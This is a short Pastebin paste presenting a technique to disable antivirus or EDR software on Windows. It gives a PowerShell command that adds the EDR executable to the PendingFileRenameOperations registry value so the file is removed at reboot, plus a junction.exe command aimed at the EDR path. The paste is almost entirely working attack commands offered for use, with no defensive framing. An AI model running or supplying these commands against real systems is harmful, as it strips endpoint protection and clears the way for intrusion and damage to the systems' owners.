Alh4zr3d

AV/EDR Disable via File Rename Operations in the Registry

Jan 23rd, 2025 (edited)
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.49 KB | Cybersecurity | 0 0
  1. New-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_EXE>.exe`0`0") -type MultiString -Force | Out-Null
  2.  
  3. For making a junction, you can use Sysinternals' junction.exe:
  4.  
  5. junction.exe <path_to_junction_to_create> <EDR_EXE_path>
  6.  
Advertisement
Add Comment
Please, Sign In to add comment